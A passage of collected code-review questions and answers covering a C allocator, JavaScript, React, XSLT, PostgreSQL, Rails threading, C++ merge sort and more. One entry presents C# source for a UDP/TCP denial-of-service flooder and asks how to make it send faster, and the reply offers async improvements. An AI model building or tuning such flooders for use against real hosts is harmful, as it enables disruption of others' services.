     memoryLookupsSizes[ 0 ] = MEMORY_BLOCK_SIZE;
}

u8* requestMemoryChunk( u64 size )
{
     assert( size );

     u8* usablePtr = null;
     u64 ptrPosition;

     for( u64 i = MEMORY_LOOKUPS; i >= 0; --i )
     {
          if( ( !( memoryLookups[ i ] ) ) &&
                ( memoryLookupsSizes[ i ] >= size ) )
          {
                usablePtr = memoryLookups[ i ];
                ptrPosition = i;
                break;
          }
     }

     assert( usablePtr );

     u8* block = usablePtr;

     memoryLookupsSizes[ ptrPosition ] -= size;

     if( !( memoryLookupsSizes[ ptrPosition ] ) )
          memoryLookups[ ptrPosition ] = null;
     else
          memoryLookups[ ptrPosition ] = usablePtr + size;

     return block;
}

void freeMemoryChunk( u64 size, u8* block )
{
     assert( block && size );

     for( u64 i = 0; i < MEMORY_LOOKUPS; ++i )
     {
          if( ! ( memoryLookups[ i ] ) )
          {
                memoryLookups[ i ] = block;
                memoryLookupsSizes[ i ] = size;

                break;
          }
     }
}
```

Please, please, don't rename NULL, uint8_t and uint64_t. It makes your code super hard to read. If you really don't want to type all that out then do a find replace after you're done coding.
Well aware that checking if(!x) is the same as if(x == NULL) and if(x == 0). But ultimately, I have to favor the explicit versions for readability.
Also
for(int x=0; x< MEMORY_LOOKUPS; x++) {
    uint8_t* x = requestMemoryChunk(MEMORY_BLOCK_SIZE - 1 - x);
    freeMemoryChunk(x, MEMORY_BLOCK_SIZE - 1 - x);
}
uint8_t* y = requestMemoryChunk(2);
// you just lost 99.99% of your memory

If this example is too extreme, consider
for(int x=0; x< MEMORY_LOOKUPS; x++) {
    uint8_t* x = requestMemoryChunk(10000 - x);
    freeMemoryChunk(x, 10000 - x);
}
uint8_t* y = requestMemoryChunk(2);
// you just lost ~10000 bytes of memory

Consider snapping the requests to block sizes (eg powers of 2) to avoid these kinds of pathological requests. Further consider keeping the lookups sorted by size.
Stylistically things are ok. There are some unnecessary parentheses in the if conditions but (... y'know lisp exists)
Ultimately, people code in c for efficiency and control. One expects to lose some readability doing clever things. But there's no reason to not explain the clever stuff in comments.


Handling keyboard shortcuts for webapp Please review the code.

document.addEventListener("keydown", function(e) { // shortcuts
  if (e.ctrlKey) { // Ctrl+
    if (/^(82|79|83|66|191)$/.test(e.keyCode)) {
      e.preventDefault();
    }
    switch (e.keyCode) {
      case 82: // R
        newDoc();
        break;
      case 79: // O
        openDoc();
        break;
      case 83: // S
        saveDoc();
        break;
      case 66: // B
        showHideStatusBar(statusBarOn ? false : true); // toggle
        break;
      case 191: // /
        alert("Welcome to " + appname + "!");
        break;
    }
  }
  if (e.keyCode == 9) { // tab
    e.preventDefault();
    var sStart = textarea.selectionStart,
      text = textarea.value;
    textarea.value = text.substring(0, sStart) + "\t" + text.substring(textarea.selectionEnd);
    textarea.selectionEnd = sStart + 1;
  }
});

In JS, when you have a switch, it's usually better to go with a dispatch table.

var mapping = {
    82: newDoc,
    79: openDoc,
    83: saveDoc,
    66: function() {
        showHideStatusBar(statusBarOn ? false : true);
    },
    191: function() {
        alert("Welcome to " + appname + "!");
    }
};
mapping[e.keyCode]();

Or if you don't want to give a name:

({
    82: newDoc,
    79: openDoc,
    83: saveDoc,
    66: function() {
        showHideStatusBar(statusBarOn ? false : true);
    },
    191: function() {
        alert("Welcome to " + appname + "!");
    }
})[e.keyCode]();

Also, use === instead of == for multiple reasons. Google "triple equal javascript" if you want more information.


Google Foobar challenge: Rabbit Test Subjects The diabolical Professor Boolean has captured you and a group of your
  hapless rabbit kin as test subjects for his terrible experiments!
  You're not sure what his real plans are, but currently it seems he's
  trying to make everyone faster and smarter? He's exposing rabbit test
  subjects to novel chemicals, genetic manipulations, and pathogens;
  then measuring their completion time for various puzzles and
  exercises. Then again, there's a rumor he's developing a kind of
  zombie rabbit. You don't want to become a zombit!

  Unfortunately, due to insubordination, and laziness, Professor Boolean
  just "eliminated" the lab assistant tracking all data from this
  research. Now, he's forcing you to sort through the notes and find
  something useful from the chaos. You have no choice but to abide by
  your captors evil rules. For now.

  Of the subjects that have survived, each has a distinct file, with
  anywhere from 1 to 100 measurements of completion time for the tests.
  The measurements from the before and after cases are listed
  separately, but the ordering has been mixed up. You have to figure out
  the degree of improvement (0% to 99%, rounded to the nearest whole
  number) based on the two lists of results.

  For example, if the first list of times is [22.2, 46, 100.8] and the
  second list is [23, 11.1, 50.4] you would return 50, because the times
  got 50% shorter: the 22.2 entry improved to 11.1, the 46 improved to
  23, and the 100.8 improved to 50.4. Even though the data points are in
  different order, each improves by the same amount.

  Write a function answer(x, y) which takes two lists of floating
  point performance scores and returns the improvement percentage,
  rounded to the nearest integer.

  Test cases:

  Inputs:

(double list) y = [1.0]
(double list) x = [1.0]

  Output:

(int) 0

  Inputs:

(double list) y = [2.2999999999999998, 15.0, 102.40000000000001, 3486.8000000000002]
(double list) x = [23.0, 150.0, 1024.0, 34868.0]

  Output:

(int) 90

The test cases are successful, but for some reason when I try to verify my answer, it says: There was a problem evaluating your code.

Is there a better way to solve this?

def answer(y,x):
    totalTime1 = 0
    totalTime2 = 0
    for time in x:
        totalTime1 += time
    for time in y:
        totalTime2 += time
    improvement = (1-(totalTime1 / totalTime2)) * 100
    return int(improvement)

For one thing, the assignment was to define a function answer(x, y), not answer(y, x).  You could also put the built-in function sum() to use.  I believe the key point is rounded to the nearest whole number.  int() always goes down.  That is 4.9 results in 4, but rounding would result in 5.  You can use the built-in function round().  In Python3 it returns an integer, but in Python2 it returns a float.  To take care of both cases, convert the rounded version to an int:

def answer(x, y):
    return int(round((1-(sum(y)/sum(x))) * 100))


Pomodoro timer in React I created a simple Pomodoro timer using React JS.
In my example:

Timer should count down seconds until it reaches 00:00
Timers should switch between 25 and 5 minutes
Timer should be able to start, stop, and reset

My questions:

how can I improve the switching between the "work" and "relax" modes? Now I use 2 functions for this: toogleWork() and toogleRelax().
my functions for stop, start and reset look very simple and I always think that  there is something missing here...

Thank you for your time and any suggestions you can provide.

class Timer extends React.Component {
  constructor(props) {
    super(props)
    this.state = {
      time: props.time,
    }
  }

  format(seconds) {
    let m = Math.floor(seconds % 3600 / 60);
    let s = Math.floor(seconds % 3600 % 60);
    let timeFormated = (m < 10 & '0' : '') + m + ':' + (s < 10 ? '0' : '') + s;
    return timeFormated
  }

  startTimer = () => this.interval = setInterval(this.countDown, 1000)

  countDown = () => {
    if (this.state.time !== 0) {
      this.setState(prevState => ({time: prevState.time - 1}))
    } else {
      this.stopTimer()
    }
  }

  stopTimer = () => clearInterval(this.interval)

  resetTime = () => {
    this.stopTimer()
    this.setState({time: this.props.time})
  }

  componentWillUnmount() {
    clearInterval(this.interval)
  }

  render() {
    return (

{this.format(this.state.time)}

        <button onClick={this.startTimer}>Start</button>
        <button onClick={this.stopTimer}>Stop</button>
        <button onClick={this.resetTime}>Reset</button>

    );
  }
}

class App extends React.Component{
  constructor(props){
    super(props)
    this.state = {
      work: true,
    }
  }

  toogleWork = () => this.setState({work: true})

  toogleRelax = () => this.setState({work: false})

  render() {
    return (

        <button onClick={this.toogleWork}>Work</button>
        <button onClick={this.toogleRelax}>Relax</button>
        {this.state.work && <Timer time={1500} />}
        {!this.state.work && <Timer time={300} />}

    )
  }
}

ReactDOM.render(
  <App />,
  document.getElementById('root')
)
.App {
  text-align: center;
}

button {
  margin: 15px 5px;
  padding: 10px;
  border: none;
}

.time {
  font-size: 32px;
}

You can replace

<button onClick={this.toogleWork}>Work</button>
<button onClick={this.toogleRelax}>Relax</button>

with

<button onClick={this.toggleState}>{this.state.work? 'Relax' : 'Work'}</button>;

and

toogleWork = () => this.setState({work: true})
toogleRelax = () => this.setState({work: false})

with

toggleState = () => this.setState(prevState => ({work: !prevState.work}));


Transforming XML as it is being generated on a scanner At work I've recently been tasked with creating an XSLT to transform some XML as it is being generated on a scanner. The point being to disregard some pages that we are not interested in for further processing, and this is what I've come up with:

    <?xml version="1.0" encoding="utf-8"?>
       <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
       xmlns:msxsl="urn:schemas-microsoft-com:xslt" exclude-result-prefixes="msxsl">

     <xsl:output method="xml" indent="yes"/>
     <xsl:strip-space elements="*"/>

    <!-- Do an indentity transform for all root nodes/attributes -->
    <xsl:template match="@* | node()">
      <xsl:copy>
        <xsl:apply-templates select="@* | node()"/>
      </xsl:copy>
    </xsl:template>

    <!-- Strip out the sheet with RETURN barcode by replacing it with nothing (blank template) -->
    <xsl:template match="Page[contains(Fields/Barcode, 'RETURN')]" />

    <!-- Check if there is a page containing RETURN in the barcode field.
       If yes append 'return' to all barcodes
       If no just copy everything -->
    <xsl:template match="Barcode">
       <xsl:choose>
         <xsl:when test="count(../../../Page[Fields/Barcode[contains(text(), 'RETURN')]]) > 0">
            <xsl:element name="Barcode">
              <xsl:value-of select="concat(ancestor::Page/Fields/Barcode, 'Return')"/>
            </xsl:element>
          </xsl:when>
        <xsl:otherwise>
         <xsl:copy>
           <xsl:apply-templates select="@* | node()"/>
         </xsl:copy>
       </xsl:otherwise>
     </xsl:choose>
    </xsl:template>
   </xsl:stylesheet>

Running on XML files with the following simplified structure, the actual files have around 100-3000 pages on average with some 40 fields under Fields:

<Data>
  <Batch>
    <Page>
      <Fields>
        <Barcode>|||||||||||</Barcode>
      </Fields>
    </Page>
    <Page>
      <Fields>
        <Barcode>|RETURN|||||||||</Barcode>
      </Fields>
    </Page>
    <Page>
      <Fields>
        <Barcode>||5454|||||||||</Barcode>
      </Fields>
    </Page>
  </Batch>
</Data>

It is working, but I'm a bit worried about the Barcode template running too slow as it must be \$O(n^2)\$. A quick profiling showed my concern to be correct.

Hot path during execution

As this will be running on somewhat limited hardware, does anyone have any suggestions for improvements?

I'd go with a <xsl:key ...> index, like so (at top level):

<xsl:key name="contains_RETURN" match="Barcode" use="contains(text(), 'RETURN')"/>

and then rewrite your hotspot to:

<xsl:when test="count(key('contains_RETURN', 'true')) > 0">
  ...
</xsl:when>

The idea is to partition Barcode nodes into two sets, the ones that contain 'RETURN' and the ones that don't.  The key function as shown then evaluates to a nodeset that only contains Barcode nodes that contain 'RETURN' and hence count works as expected.


Flatten JSON to get relevant data in Postgresql Following is my table:

CREATE TABLE test.individuals
  (
     id        INT PRIMARY KEY,
     firstname VARCHAR,
     lastname  VARCHAR,
     phone     JSONB,
     email     JSONB
  );

Which contains the following records (say):

INSERT INTO test.individuals (
            id,
            firstname,
            lastname,
            phone,
            email
) VALUES (  1,
            'Ajay',
            'Upadhaya',
            '[{"Type": "Mobile", "Number": "9876543210"}, {"Type": "Home", "Number": "23456789"}, {"Type": "Work", "Number": "24356758"}]',
            '[{"Type": "Home", "Email": "ajay@xyz.com"},{"Type": "Work", "Email": "ajay@abc.com"}]'
), (        2,
            'Vikas',
            'Singh',
            '[{"Type": "Mobile", "Number": "8978675612"}, {"Type": "Home", "Number": "21324354"}, {"Type": "Work", "Number": "24256376"}]',
            '[{"Type": "Work", "Email": "vikas@xyz.com"}]'
), (        3,
            'Atul',
            'Prasad',
            '[{"Type": "Mobile", "Number": "7895674563"}]',
            '[]'
), (        4,
            'Soumil',
            'Roy',
            '[{"Type": "Mobile", "Number": "8798765632"}]',
            '[{"Type": "Home", "Email": "soumil@xyz.com"}]'
);

My requirement was to get mobile numbers in one field, and the rest of the numbers in another field (Since, there can be multiple numbers, they have to be separated by commas). Same for email ids.

Following is my query:

WITH persons
     AS (SELECT id,
                firstname,
                lastname
         FROM   test.individuals),
     email_ids
     AS (SELECT id,
                Jsonb_array_elements(email) :: jsonb AS email_object
         FROM   test.individuals),
     email_aggregated
     AS (SELECT id,
                String_agg(email_object ->> 'Email', ',') AS email_id
         FROM   email_ids
         GROUP  BY id),
     phone_numbers
     AS (SELECT id,
                Jsonb_array_elements(phone) :: jsonb phone_object
         FROM   test.individuals),
     mobile_numbers
     AS (SELECT id,
                String_agg(phone_object ->> 'Number', ',') AS mobile_number
         FROM   phone_numbers
         WHERE  phone_object ->> 'Type' = 'Mobile'
         GROUP  BY id),
     other_numbers
     AS (SELECT id,
                String_agg(phone_object ->> 'Number', ',') AS phone_number
         FROM   phone_numbers
         WHERE  phone_object ->> 'Type' <> 'Mobile'
         GROUP  BY id)
SELECT p.*,
       mob.mobile_number mobile_phone_number,
       oth.phone_number  unformatted_phone_numbers,
       eml.email_id      email_addresses
FROM   persons p
       left join email_aggregated eml
              ON p.id = eml.id
       left join other_numbers oth
              ON p.id = oth.id
       left join mobile_numbers mob
              ON p.id = mob.id

This gives me the required result:

I came up with this query intuitively. I don't know if there is a better way to do this. Any comments will be appreciated.

This gets you the same output:

SELECT  id
,   firstname
,   lastname
,   (SELECT string_agg(p->>'Number', ',') FROM jsonb_array_elements(phone) p WHERE p->>'Type' = 'Mobile') AS mobile_phone_number
,   (SELECT string_agg(p->>'Number', ',') FROM jsonb_array_elements(phone) p WHERE p->>'Type' <> 'Mobile') AS unformatted_phone_numbers
,   (SELECT string_agg(e->>'Email', ',') FROM jsonb_array_elements(email) e) AS email_addresses
FROM test.individuals

So basically, rather than creating all the CTEs ahead of time with aggregated results and then joining against them, we just go through the records and compute the results of the last three columns by running some functions on the content of phone/email fields as they're read.

This is the query plan my my version:

Seq Scan on individuals  (cost=0.00..21.22 rows=4 width=111) (actual time=0.114..0.230 rows=4 loops=1)
  SubPlan 1
    ->  Aggregate  (cost=1.51..1.52 rows=1 width=32) (actual time=0.021..0.021 rows=1 loops=4)
          ->  Function Scan on jsonb_array_elements p  (cost=0.00..1.50 rows=1 width=32) (actual time=0.013..0.015 rows=1 loops=4)
                Filter: ((value ->> 'Type'::text) = 'Mobile'::text)
                Rows Removed by Filter: 1
  SubPlan 2
    ->  Aggregate  (cost=2.00..2.01 rows=1 width=32) (actual time=0.012..0.012 rows=1 loops=4)
          ->  Function Scan on jsonb_array_elements p_1  (cost=0.00..1.50 rows=99 width=32) (actual time=0.008..0.009 rows=1 loops=4)
                Filter: ((value ->> 'Type'::text) <> 'Mobile'::text)
                Rows Removed by Filter: 1
  SubPlan 3
    ->  Aggregate  (cost=1.50..1.51 rows=1 width=32) (actual time=0.009..0.009 rows=1 loops=4)
          ->  Function Scan on jsonb_array_elements e  (cost=0.00..1.00 rows=100 width=32) (actual time=0.005..0.005 rows=1 loops=4)
Planning time: 0.297 ms
Execution time: 0.354 ms

And yours:

Hash Left Join  (cost=51.17..56.00 rows=4 width=164) (actual time=0.367..0.386 rows=4 loops=1)
  Hash Cond: (p.id = mob.id)
  CTE persons
    ->  Seq Scan on individuals  (cost=0.00..1.04 rows=4 width=15) (actual time=0.032..0.034 rows=4 loops=1)
  CTE email_ids
    ->  Seq Scan on individuals individuals_1  (cost=0.00..3.03 rows=400 width=36) (actual time=0.034..0.056 rows=4 loops=1)
  CTE email_aggregated
    ->  HashAggregate  (cost=11.00..13.50 rows=200 width=36) (actual time=0.088..0.091 rows=3 loops=1)
          Group Key: email_ids.id
          ->  CTE Scan on email_ids  (cost=0.00..8.00 rows=400 width=36) (actual time=0.037..0.061 rows=4 loops=1)
  CTE phone_numbers
    ->  Seq Scan on individuals individuals_2  (cost=0.00..3.03 rows=400 width=36) (actual time=0.030..0.048 rows=8 loops=1)
  CTE mobile_numbers
    ->  GroupAggregate  (cost=10.01..10.06 rows=2 width=36) (actual time=0.033..0.041 rows=4 loops=1)
          Group Key: phone_numbers.id
          ->  Sort  (cost=10.01..10.02 rows=2 width=36) (actual time=0.025..0.027 rows=4 loops=1)
                Sort Key: phone_numbers.id
                Sort Method: quicksort  Memory: 25kB
                ->  CTE Scan on phone_numbers  (cost=0.00..10.00 rows=2 width=36) (actual time=0.004..0.012 rows=4 loops=1)
                      Filter: ((phone_object ->> 'Type'::text) = 'Mobile'::text)
                      Rows Removed by Filter: 4
  CTE other_numbers
    ->  HashAggregate  (cost=12.98..15.48 rows=200 width=36) (actual time=0.084..0.086 rows=2 loops=1)
          Group Key: phone_numbers_1.id
          ->  CTE Scan on phone_numbers phone_numbers_1  (cost=0.00..10.00 rows=398 width=36) (actual time=0.042..0.069 rows=4 loops=1)
                Filter: ((phone_object ->> 'Type'::text) <> 'Mobile'::text)
                Rows Removed by Filter: 4
  ->  Hash Right Join  (cost=4.97..9.76 rows=4 width=132) (actual time=0.298..0.315 rows=4 loops=1)
        Hash Cond: (oth.id = p.id)
        ->  CTE Scan on other_numbers oth  (cost=0.00..4.00 rows=200 width=36) (actual time=0.085..0.088 rows=2 loops=1)
        ->  Hash  (cost=4.92..4.92 rows=4 width=100) (actual time=0.193..0.193 rows=4 loops=1)
              Buckets: 1024  Batches: 1  Memory Usage: 9kB
              ->  Hash Right Join  (cost=0.13..4.92 rows=4 width=100) (actual time=0.167..0.185 rows=4 loops=1)
                    Hash Cond: (eml.id = p.id)
                    ->  CTE Scan on email_aggregated eml  (cost=0.00..4.00 rows=200 width=36) (actual time=0.090..0.096 rows=3 loops=1)
                    ->  Hash  (cost=0.08..0.08 rows=4 width=68) (actual time=0.059..0.059 rows=4 loops=1)
                          Buckets: 1024  Batches: 1  Memory Usage: 9kB
                          ->  CTE Scan on persons p  (cost=0.00..0.08 rows=4 width=68) (actual time=0.040..0.050 rows=4 loops=1)
  ->  Hash  (cost=0.04..0.04 rows=2 width=36) (actual time=0.052..0.052 rows=4 loops=1)
        Buckets: 1024  Batches: 1  Memory Usage: 9kB
        ->  CTE Scan on mobile_numbers mob  (cost=0.00..0.04 rows=2 width=36) (actual time=0.036..0.048 rows=4 loops=1)
Planning time: 0.719 ms
Execution time: 0.693 ms

Neither are particularly performant, although my version appears about twice as fast, but the stats can't be trusted with so little data, so it's not very useful right now.


DDOS Mechanism: Improving thread safety & loop speed? I'm pretty new to this but I coded a DDOS mechanism for educational purposes. I need to know if the thread safety can be improved (Right now I have none, but do I need any?) and if the loop speed can be improved (can data be sent any faster)?

public class SessionWorker : ISessionWorker
{
    private ISession _session;
    private readonly Task _cycleTask;
    private bool _cycleActive;

    public SessionWorker()
    {
        _cycleTask = new Task(OnCycle);
    }

    public void Load(ISession session)
    {
        _session = session;
    }

    public void Start()
    {
        _cycleTask.Start();
        _cycleActive = true;
    }

    public void Stop()
    {
        _cycleActive = false;
    }

    private void OnCycle()
    {
        if (_session.AttackType == SessionAttackType.Udp)
        {
            CycleUdp();
        }
        else
        {
            CycleTcp();
        }
    }

    private void CycleUdp()
    {
        while (_cycleActive)
        {
            if (!_session.IsAttacking || _session.HasAttackExpired())
            {
                _session.StopAttack();
                continue;
            }

            var udpClient = new UdpClient(_session.AttackingIp, _session.AttackingPort);

            Parallel.For(1, 10, i =>
            {
                if (!_session.IsAttacking || !_cycleActive)
                {
                    return;
                }

                var rubbish = new byte[1];

                udpClient.Send(rubbish, rubbish.Length);
                _session.BytesSent += rubbish.Length;
            });

            Thread.Sleep(2);
        }
    }

    private void CycleTcp()
    {
        while (_cycleActive)
        {
            if (!_session.IsAttacking || _session.HasAttackExpired())
            {
                _session.StopAttack();
                continue;
            }

            var tcpClient = new TcpClient();

            Parallel.For(1, 10, i =>
            {
                if (!_session.IsAttacking || !_cycleActive)
                {
                    return;
                }

                var rubbish = new byte[1];

                tcpClient.Client.BeginSend(rubbish, 0, rubbish.Length, SocketFlags.None, ar => tcpClient.Client.EndSend(ar), tcpClient);
                _session.BytesSent += rubbish.Length;
            });

            Thread.Sleep(2);
        }
    }
}

Other parts of the code?

public bool HasAttackExpired()
{
    return (DateTime.Now - AttackExpiration).TotalSeconds < 1;
}

StopAttack method:

public void StopAttack()
{
    if (IsAttacking && HasAttackExpired())
    {
        CoreUtilities.LogToConsole("Finished running an attack and sent " + BytesSent + " bytes.");
    }

    IsAttacking = false;

    AttackingIp = "";
    AttackingPort = 0;

    SessionWorker.Stop();
}

private bool _cycleActive;

You actually don't need this variable. The Task class has a Status property.

Thread.Sleep(2);

And the async/await classic one (like the classic namespace std in c++). You don't want to block your thread with that. Instead, you should use Task.Delay and make your code async

public void Stop()
{
    _cycleActive = false;
}

For stopping you should use the CancellationTokenSource and the CancellationToken. See Task Cancellation.


Input reading: two values (separated by whitespace) per line Sometimes, I need to read two integer parameters in a single input line, separated by a whitespace.

I have these two functions that seem to do the job just fine:

#include <iostream>
#include <sstream>
#include <deque>

// Splits a string by its whitespaces and returns a deque with each item.
deque<string> split(string original) {
    deque<string> result;
    string buffer;
    stringstream stream(original);
    while (stream >> buffer) {
        result.push_back(buffer);
    }
    return result;
}

// Reads two integer parameters from a single line, separated by a whitespace
void getTwiceInput(int &a,int &b) {
    string input;
    getline(cin,input);
    deque<string> deck = split(input);
    stringstream ss;
    ss << deck[0];
    ss >> a;
    ss.clear();
    ss << deck[1];
    ss >> b;
}

So in my program I do this call:

int x,y;
getTwiceInput(x, y);

Is there an easier way to achieve this? It is a bit tiring having to type all of that just to achieve this for every programming challenge given.

I can think of two more ways of doing it.

1. Using iostream iterators. (Following code is from here)

#include <iostream>
#include <iterator>
using namespace std;

int main () {
  double value1, value2;
  cout << "Please, insert two values: ";

  istream_iterator<double> eos;         // end-of-stream iterator
  istream_iterator<double> iit (cin);   // stdin iterator

  if (iit!=eos) value1=*iit;

  iit++;
  if (iit!=eos) value2=*iit;

  cout << value1 << "*" << value2 << "=" << (value1*value2) << endl;

  return 0;
}

2. Converting string to int using atoi() rest everything will be same.


Rails service for a series of calculations I'm writing a Rails service in which a series of operations are performed on a record:

class RecordBaseAmountService

   self.build
      new
   end

   def call(record, subrecord)
      record = calculate_base_amount(record, subrecord)
      record = adjust_base_amount(record, subrecord)
      record = pro_rate_record(record, subrecord) if subrecord.is_prorated?

      return record
   end

   private

   def calculate_base_amount(record, subrecord)
      if subrecord.type == 0
         base_amount = 10
      elsif subrecord.type == 1
         base_amount = 20
      else
         base_amount = 30
      end

      record.base_amount = base_amount
      record.audit_field += "=>base amount calculated"
      record
   end

   def adjust_base_amount(record, subrecord)
      record.base_amount = record.base_amount*30
      record.audit_field += "=>base amount adjusted"
      record
   end

   def pro_rate_record(record, subrecord)
      record.pro_rated_amount = record.base_amount*subrecord.pro_rate
      record.base_amount = record.base_amount - record.pro_rated_amount
      record.audit_field += "=>prorated"
      record
   end
end

The Record and Subrecord classes are basic Activerecord classes with validations, scopes, callbacks, and associations. Basically almost all of my business logic is farmed out to services and my models only deal with data integrity.

class Record < ActiveRecord::Base
    has_many :subrecords
    validates :base_amount, presence: true
    around_update :cache_in_subrecord

    private

    def cache_in_subrecord
        subrecord = self.subrecord
        self.audit_field += "=>subrecord cached " + Time.now.utc.to_date.to_s
        subrecord.cached_attribute_field = (subrecord.cached_attribute_field || {}).merge(get_cached_attributes)

        yield

        subrecord.save
    end

    def get_cached_attributes
        {
          record_id: self.id,
          base_amount: self.base_amount,
          audit_field: self.audit_field,
          time: Time.now.utc.to_date
        }
    end
end

class Subrecord < ActiveRecord::Base
    belongs_to :record
    validates :type, presence: true
    validates :start_date, presence: true
    validates :pro_rate, presence: true

    def is_prorated?
       same_month? && not_first_day?
    end

    def same_month?
       self.start_date.month == Date.today.month
    end

    def not_first_day?
       self.start_date.day > 1
    end
end

and the service is called from multiple places including controllers and rake tasks. In one particular rake task I call the service above with the Celluloid gem.

require "celluloid"

class MonthlyRecordWorker
  include Celluloid

  def update_record(record)
     updated_record = RecordBaseAmountService.build.call(record, record.subrecord)
     updated_record.save
  end

end

class MonthlyTaskService

    def call
        record_pool = MonthlyRecordWorker.pool(size: 10)

        Record.all.each do |i|
           record_pool.async.update_record(i)
        end
    end

end

#lib/tasks/monthly.rake

namespace :monthly do
    desc "Cron tasks"
    task :audit_records => :environment do
        MonthlyTaskService.build.call
    end
end

I'm highly concerned about thread safety, which I have no experience with. Is this code thread safe? Any comments on any improvements to be made?

The real threat to thread safety is actually in your RecordBaseAmountService class. This takes two arbitrary objects, a record and sub-record. This logic really should be moved into the Record class to ensure you are modifying the objects you think you are. Consider this case:

record1 = Record.find 3
record2 = Record.find 8
subrecord = record1.subrecord
update_record = RecordBaseAmountService.build.call record2, subrecord

Do you see any bugs here? Any thread safety issues? We pass in record2 but pass in the sub record for record1 -- oops!

Moving this logic into the Record class itself encapsulates this behavior and limits it to the proper objects. This also limits the ability of code outside that Record object to modify data outside its thread.

class Record < ActiveRecord::Base
  has_many :subrecords
  validates :base_amount, presence: true
  around_update :cache_in_subrecord

  def calculate_base_amount
    if subrecord.type == 0
      base_amount = 10
    elsif subrecord.type == 1
      base_amount = 20
    else
      base_amount = 30
    end

    update_audit_field "base amount calculated"
    adjust_base_amount
    pro_rate_record if subrecord.is_prorated?

    base_amount
  end

  private

  def adjust_base_amount
    base_amount = base_amount * 30
    update_audit_field "base amount adjusted"
  end

  def pro_rate_record
    pro_rated_amount = base_amount * subrecord.pro_rate
    base_amount = base_amount - pro_rated_amount
    update_audit_field "prorated"
  end

  def cache_in_subrecord
    subrecord = self.subrecord
    update_audit_field "subrecord cached " + Time.now.utc.to_date
    subrecord.cached_attribute_field = (subrecord.cached_attribute_field || {}).merge(get_cached_attributes)

    yield

    subrecord.save
  end

  def get_cached_attributes
    {
      record_id: self.id,
      base_amount: self.base_amount,
      audit_field: self.audit_field,
      time: Time.now.utc.to_date
    }
  end

  def update_audit_field(message)
    audit_field += "=>" + message
  end

end

The RecordBaseAmountService is entirely unneeded.

The MonthlyRecordWorker is still useful, but could use a simple change:

class MonthlyRecordWorker
  include Celluloid

  def update_record(record)
    record.calculate_base_amount
    record.save
  end

end

Nothing else needs to change. Just encapsulate the base amount calculation to limit the chances that objects get modified outside the current thread.

Some nitpicks:

Use 2 spaces for indentation. I see 3 and 4 spaces.
Put spaces around all operators:

record.base_amount = record.base_amount*30

Becomes:

record.base_amount = record.base_amount * 30

No need to convert a date object to a string when updating the audit message. The string concatenation operation will do that automatically

self.audit_field += "=>subrecord cached " + Time.now.utc.to_date.to_s

No need for a build method if it just delegates to new

worker = MonthlyRecordWorker.new
worker.call

Or:

MonthlyRecordWorker.new.call

Suggestions:

Create an update_audit_field method instead of concatenating strings and prefixing it with => constantly (in Record):

def update_audit_field(message)
  audit_field += "=>" + message
end


C++ Merge Sort Implementation Edit: A follow up question can be found here.

My first try at mergesort, without resorting to any references:

#include <iostream>
#include <vector>

std::vector<int> Merge(std::vector<int>, std::vector<int>);
std::vector<int> MergeSort(std::vector<int>);

int main()
{
    // No need to review this, it was just for testing purposes
    std::vector<int> a;
    for (int i = 0; i < 100; i++) {
        a.push_back(6000.0 * rand() / RAND_MAX);
    }
    for (int i = 0; i < a.size(); i++) {
        std::cout << a[i] << " ";
    }
    std::cout << "\n";
    a = MergeSort(a);
    for (int i = 0; i < a.size(); i++) {
        std::cout << a[i] << " ";
    }
    std::cout << "\n";
    return 0;
}

std::vector<int> Merge(std::vector<int> arr1, std::vector<int> arr2) {
    int size1 = arr1.size();
    int size2 = arr2.size();
    std::vector<int> res(size1 + size2, 0);
    int i1 = 0;
    int i2 = 0;
    while (i1 < size1 && i2 < size2) {
        if (arr1[i1] < arr2[i2]) {
            res[i1 + i2] = arr1[i1];
            i1++;
        }
        else {
            res[i1 + i2] = arr2[i2];
            i2++;
        }
    }
    while (i1 < size1) {
        res[i1 + i2] = arr1[i1];
        i1++;
    }
    while (i2 < size2) {
        res[i1 + i2] = arr2[i2];
        i2++;
    }
    return res;
}

std::vector<int> MergeSort(std::vector<int> arr) {
    if (arr.size() < 2) {
        return arr;
    }
    else if (arr.size() == 2) {
        // If array is of size 2, return it sorted
        if (arr[0] > arr[1]) {
            arr[1] += arr[0];
            arr[0] = arr[1] - arr[0];
            arr[1] -= arr[0];
        }
        return arr;
    }
    else {
        // Recursively split in halves until all vectors are size 1 or 2, then merge
        return Merge(
            MergeSort(std::vector<int>(arr.begin(), arr.begin() + arr.size() / 2)),
            MergeSort(std::vector<int>(arr.begin() + arr.size() / 2, arr.end()))
        );
    }
}

A few questions:

Have I implemented a merge sort correctly? Or is it some other sort?
How can I make it work for multiple data types rather than just int?
I imagine it's not very efficient (I don't know much about std::vector<T>.begin or std::vector<T>.end), how could I make it more efficient?

Your big mistake is not using iterators.

As a result you pass your vectors by value, which causes the vectors to be copied a lot.

std::vector<int> MergeSort(std::vector<int> arr)
                                            ^^^    A copy of the array is made when you call this function.

std::vector<int> Merge(std::vector<int> arr1, std::vector<int> arr2)
                                        ^^^^ Copy              ^^^^ Copy

Now, you could mitigate this by passing the values by reference. But I think a better solution is to pass iterators into the container. That way you also allow for other container types.

Luckily for you, a return is a move, not a copy - so that is not as  big a problem as a copy.

template<typename I>
void MergeSort(I begin, I end)

template<typename I,
void Merge(I src1Begin, I src1End, I src2Begin, I src2End, I dstBegin);


Hangman game performance I want to change (for better performance) or optimize my code, especially for and while loops, maybe with lambdas or list comprehensions.

def getAvailableLetters(lettersGuessed):
    '''
    lettersGuessed: list, what letters have been guessed so far
    returns: string, comprised of letters that represents what letters have not
      yet been guessed.
    '''
    alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
    alphabet2 = alphabet[:]

    def removeDupsBetter(L1, L2):
        L1Start = L1[:]
        for e in L1:
            if e in L1Start:
                L2.remove(e)
        return ''.join(str(e) for e in L2)

    return removeDupsBetter(lettersGuessed, alphabet2)

def hangman(secretWord):
    '''
    secretWord: string, the secret word to guess.

    Starts up an interactive game of Hangman.

    * At the start of the game, let the user know how many
      letters the secretWord contains.

    * Ask the user to supply one guess (i.e. letter) per round.

    * The user should receive feedback immediately after each guess
      about whether their guess appears in the computers word.

    * After each round, you should also display to the user the
      partially guessed word so far, as well as letters that the
      user has not yet guessed.

    Follows the other limitations detailed in the problem write-up.
    '''
    intro = str(len(secretWord))
    lettersGuessed = []
    guess = str
    mistakesMade = 8
    wordGuessed = False

